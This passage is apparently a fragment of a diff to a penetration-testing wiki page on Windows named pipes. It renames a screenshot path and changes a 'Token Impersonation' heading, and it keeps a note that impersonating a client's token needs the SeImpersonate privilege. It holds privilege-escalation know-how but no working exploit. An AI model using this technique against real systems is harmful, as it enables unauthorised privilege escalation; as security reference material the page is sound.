\\.\pipe\).name)[-1..-5] ``` -![](<../../.gitbook/assets/screenshot-from-2019-04-02-23-44-22 (3).png>) +![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (3).png>) -# Token Impersonation +## Token Impersonation {% hint style="info" %} Note that in order to impersonate the token of the client process you need to have (the server process creating the pipe) the **`SeImpersonate`** token privilege